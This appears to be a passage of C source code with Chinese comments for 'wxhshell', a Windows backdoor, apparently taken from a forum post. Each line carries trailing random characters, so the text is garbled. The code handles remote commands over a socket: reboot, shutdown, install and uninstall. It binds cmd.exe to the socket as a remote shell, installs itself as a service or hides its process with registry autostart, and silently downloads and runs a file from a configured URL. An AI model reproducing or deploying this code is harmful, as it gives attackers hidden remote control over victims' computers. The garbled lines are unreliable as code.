  // 帮助 6>vj({,1Y*  
  case '?': { 0<Pe~i_=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @?%"nK  
    break; i2!{.*.  
  } Q;^([39DI  
  // 安装 y-Ol1R3:c#  
  case 'i': { hZJ Nh,,w  
    if(Install()) /3c1{%B\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^#Z(&/5f0  
    else IM@Qe|5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LvAIAknc  
    break; HR V/ A  
    } >:Oo[{)  
  // 卸载 DV.MvFV  
  case 'r': { :?^(&3;  
    if(Uninstall()) ~\kRW6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9GGBJTk-  
    else &#)3v8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dZYS5_wr  
    break; -+4$W{OK*0  
    } 0loC^\f  
  // 显示 wxhshell 所在路径 \m\.+q]  
  case 'p': { 1ii.nt1 u  
    char svExeFile[MAX_PATH]; UHg^F4>4  
    strcpy(svExeFile,"\n\r"); Ri3m438  
      strcat(svExeFile,ExeFile); Z?@07Y[|K  
        send(wsh,svExeFile,strlen(svExeFile),0); Q^ F-8  
    break; ilHj%h*z  
    } h FjW.~B  
  // 重启 @Ab<I  
  case 'b': { v>e4a/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +HcH]D;  
    if(Boot(REBOOT)) m[7a~-3:J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $i2gOz  
    else { <l6CtK@  
    closesocket(wsh); .9E`x>C  
    ExitThread(0); t +#Ss v8  
    } Iq52rI}  
    break; jQdfFR  
    } gGX/p6"  
  // 关机 bEE:6)]G  
  case 'd': { eQeNlCG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kjmF-\  
    if(Boot(SHUTDOWN)) q'@UZ$2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9 o18VJR  
    else { [v&_MQ  
    closesocket(wsh); *%8us~w5/  
    ExitThread(0); iVl"H@m/  
    } K~E]Fkw!;  
    break; Ue\&  
    } 2V0R|YUt  
  // 获取shell f[v??^  
  case 's': { jc?Hip'  
    CmdShell(wsh); 4 I~,B[|  
    closesocket(wsh); f9 rToH  
    ExitThread(0); ywdNwNJ  
    break; B\mdOTLQ  
  } p$=3&qR 6  
  // 退出 FStfGN  
  case 'x': { +Q '|->#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L%<1C \k  
    CloseIt(wsh); i a|F  
    break; urN&."c  
    } 2<O hO ^  
  // 离开 ?+!KucTF  
  case 'q': { W)"q9(T?%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C&SYmYj^c  
    closesocket(wsh); }I;W  
    WSACleanup(); vrbS-Z<S9  
    exit(1); [ wROIvV  
    break; emaNmpg  
        } F0yh7MItV  
  } J2R<'(  
  } Ug"B/UUFd  
[DE8s[i-  
  // 提示信息 +:t1PV;l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hb_Ia]b  
} RWoiV10  
  } x O)nS _I  
vZKo&jU k  
  return; Jk~T.p?tF  
} " pH+YqJ$  
qB&*"gf  
// shell模块句柄 a2i   
int CmdShell(SOCKET sock) j4l7Tx  
{ %_u3Np  
STARTUPINFO si; IFE C_F>  
ZeroMemory(&si,sizeof(si)); x;SrJVDN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4*54"[9Hr#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *= D$  
PROCESS_INFORMATION ProcessInfo; IKU -  
char cmdline[]="cmd"; dV5 $L e#y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /yOd]N;$  
  return 0; khIh<-s!  
} J3zb_!PPE  
=y4g. J\  
// 自身启动模式 kSJWQ  
int StartFromService(void) F3qi$3HM  
{ !9!N s(vUM  
typedef struct ecF I"g  
{ o0/03O  
  DWORD ExitStatus; z XvWo6  
  DWORD PebBaseAddress; z[';HJ0O;  
  DWORD AffinityMask; @#V{@@3$  
  DWORD BasePriority; X=JSqO6V9  
  ULONG UniqueProcessId; OVd"'|&6_  
  ULONG InheritedFromUniqueProcessId; *=I#VN*_<.  
}   PROCESS_BASIC_INFORMATION; tQ)8HVKF  
e"b F"L  
PROCNTQSIP NtQueryInformationProcess; -1{N#c/U  
5|Y4GQVz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p;p G@Vg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }Orc;_)r  
)rXP2Z  
  HANDLE             hProcess; n*;I2FV]  
  PROCESS_BASIC_INFORMATION pbi; _#L IG2d  
2"mO"2d%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /0r2v/0  
  if(NULL == hInst ) return 0; #mj+|/0  
H"-p^liw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9+/<[w7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H p,r @  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2M;{|U  
uwIZzz  
  if (!NtQueryInformationProcess) return 0; Sd)D-S  
c)lK{DC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p#?1l/f"  
  if(!hProcess) return 0; Zj}, VB*T  
X{ Nif G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A$ S9 `  
L*5&hPU  
  CloseHandle(hProcess); Og,,s{\  
B@F1!8l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~MXPiZG?  
if(hProcess==NULL) return 0; H7{ 6t(0j  
-aO3/Ik [q  
HMODULE hMod; O,bj_CWx  
char procName[255]; 5!5P\o  
unsigned long cbNeeded; :hevBBP  
k}BNFv8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lP@9%L  
9M7{.XR,  
  CloseHandle(hProcess); g<,|Q5bK  
ZSbD4 |_  
if(strstr(procName,"services")) return 1; // 以服务启动 TX*P*-'  
8n'C@#{WV  
  return 0; // 注册表启动 >i0FGmxH  
} +/Z:L$C6  
P_qxw-s  
// 主模块  \n`]QN  
int StartWxhshell(LPSTR lpCmdLine) ")LF;e  
{ W0?yPP=.  
  SOCKET wsl; J%}}( G~  
BOOL val=TRUE; {o]OxqE@  
  int port=0; bFTWuM  
  struct sockaddr_in door; yEz2F3[ S  
 e%qMrR  
  if(wscfg.ws_autoins) Install(); doe[f_\  
bg$e80  
port=atoi(lpCmdLine); ^&,{  
XjX<?W  
if(port<=0) port=wscfg.ws_port; E`'+1  
ucMl>G'!gX  
  WSADATA data; uxR_(~8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e0hT  
mG2}JWA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +)V6"XY-(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3w0m:~KS6V  
  door.sin_family = AF_INET; ]`|bf2*eA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ` "9Y.KU  
  door.sin_port = htons(port); !E*-\}[  
(C. 1'<]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #cApk  
closesocket(wsl); *{tJ3<t(1  
return 1; K|s+5>]W/[  
} lxxK6;r~>  
'Oq}BVR&  
  if(listen(wsl,2) == INVALID_SOCKET) { V^f'4*~'  
closesocket(wsl); 4BCZ~_  
return 1; ,2]6cP(6qQ  
} M"P$hb'F  
  Wxhshell(wsl); VR_1cwKBM  
  WSACleanup(); *EDzj&  
@c&)K^v8  
return 0; TM"i9a? ;  
MLp5Y\8*  
} d$>1 2>>  
"r|O /   
// 以NT服务方式启动 Et7AAV*8g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r_ o2d8  
{ CwT52+Jb  
DWORD   status = 0; {UwJg  
  DWORD   specificError = 0xfffffff; s~TYzfA  
KRz\ct|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i1scoxX3\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O,DA{> *m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6bU/IVP  
  serviceStatus.dwWin32ExitCode     = 0; )"q2DjfX*  
  serviceStatus.dwServiceSpecificExitCode = 0; :1A Ound  
  serviceStatus.dwCheckPoint       = 0; v[~ U*#i  
  serviceStatus.dwWaitHint       = 0; Bg34YmZ  
1ra}^H}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HM<V$ R  
  if (hServiceStatusHandle==0) return; bbnAF*7s8  
AA@J~qd u  
status = GetLastError(); TeG'cKz  
  if (status!=NO_ERROR) v_Jp 9  
{ MenI>gd?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6)H70VPJ  
    serviceStatus.dwCheckPoint       = 0; T9(~^}_+9  
    serviceStatus.dwWaitHint       = 0; 8^HMK$  
    serviceStatus.dwWin32ExitCode     = status; P+]39p{  
    serviceStatus.dwServiceSpecificExitCode = specificError; #%x4^A9 q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6C   
    return; 3L#KHTM  
  } RJGf@am&  
n RXf\*"3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (3 _2h4O  
  serviceStatus.dwCheckPoint       = 0; E]+W^ VG  
  serviceStatus.dwWaitHint       = 0; !WrUr]0IP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V&qXsyg  
} ?SS?I  
y/Nvts2!C  
// 处理NT服务事件,比如:启动、停止 Z|3l2ucl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bluC P|  
{ *X,vu2(I-=  
switch(fdwControl) fOrqY,P'  
{ n /rQ*hr  
case SERVICE_CONTROL_STOP: mWO=(}Fb\  
  serviceStatus.dwWin32ExitCode = 0; w8>p[F5`O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cDLS)  
  serviceStatus.dwCheckPoint   = 0; :JPI#zZun  
  serviceStatus.dwWaitHint     = 0; CjIkRa@!x  
  { Prr<:q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a-O9[?G/x  
  } \ar.(J  
  return; koaH31Q  
case SERVICE_CONTROL_PAUSE: ZfMJU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XD*$$`+#  
  break; B9+oI c O  
case SERVICE_CONTROL_CONTINUE: P 0,]Ud  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9B<y w.  
  break; }!B<MGBd  
case SERVICE_CONTROL_INTERROGATE: o.sa ?*  
  break; 3}XUYF;  
}; ;)UZT^f`)K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EV]exYWB  
} O@Xl_QNxc!  
+-xA/nU.c  
// 标准应用程序主函数 _Z2VS"yH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }Z2Y>raA\  
{ LkJ3 :3O  
b7HS 3NYk  
// 获取操作系统版本 jLcW;7OAC  
OsIsNt=GetOsVer(); e}aD <E G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QK//bV)  
5$N4< Lo7  
  // 从命令行安装 .XS rLb?  
  if(strpbrk(lpCmdLine,"iI")) Install(); BYwG\2?~  
p2tB F98  
  // 下载执行文件 011 _(v  
if(wscfg.ws_downexe) { O4( Z%YBe  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tt#M4n@  
  WinExec(wscfg.ws_filenam,SW_HIDE); g_.BJ>Uv  
} hC~lH eH  
{Uu7@1@n  
if(!OsIsNt) { tpA7"JD  
// 如果时win9x,隐藏进程并且设置为注册表启动 u5%.T0 P  
HideProc(); Jw9|I)H  
StartWxhshell(lpCmdLine); 1jQz%^~  
} X%39cXM C  
else Hn:%(Rg=aW  
  if(StartFromService()) ]xV7)/b5G  
  // 以服务方式启动 ,7tN&R_  
  StartServiceCtrlDispatcher(DispatchTable); |1;0q<Ka  
else dZv-lMYBE  
  // 普通方式启动 6rdm=8WFA  
  StartWxhshell(lpCmdLine); }LQ&AIRN  
i7*4hYY  
return 0; ^D/*Hp _  
}
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只看该作者 1 发表于: 2006-10-10
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